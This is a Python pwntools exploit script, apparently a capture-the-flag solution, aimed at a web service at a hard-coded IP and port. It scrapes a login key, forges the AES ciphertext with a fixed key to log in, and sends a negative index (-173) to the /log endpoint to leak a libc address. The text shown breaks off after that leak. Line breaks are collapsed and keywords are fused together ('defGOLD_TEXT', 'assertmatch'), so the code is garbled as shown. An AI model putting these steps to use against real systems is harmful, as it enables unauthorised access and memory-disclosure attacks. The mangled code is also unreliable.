from pwn import * from aes import aes_encrypt_block import re import sys import requests
context.arch = 'amd64' defGOLD_TEXT(x): returnf'\x1b[33m{x}\x1b[0m' IP = '45.40.247.139' PORT = 25642 URL_BASE = f'http://{IP}:{PORT}' LIBC = './libc-2.31.so'
# Get decrypted key response = requests.get(f'{URL_BASE}/login.html') match = re.search(r'<strong>([a-z]+)</strong>', response.text) assertmatch rand_key = match.group(1) info(f'Retrieve random key: {rand_key}')
# Encrypt the key cipher = aes_encrypt_block(rand_key.encode(), b'0123456789ABCDEF').hex() info(f'Try this cipher: {cipher}')
# Login the system response = requests.post(f'{URL_BASE}/login', data=f'ciphertext={cipher}') assert response.status_code == 200
# Now test if the key is right and leak libc response = requests.post(f'{URL_BASE}/log', data='index=-173') if response.status_code == 401: warn('Unable to log in!') sys.exit(1) assert response.status_code == 200 match = re.search(r'<pre>(0x[a-f0-9]+)</pre>', response.text) assertmatch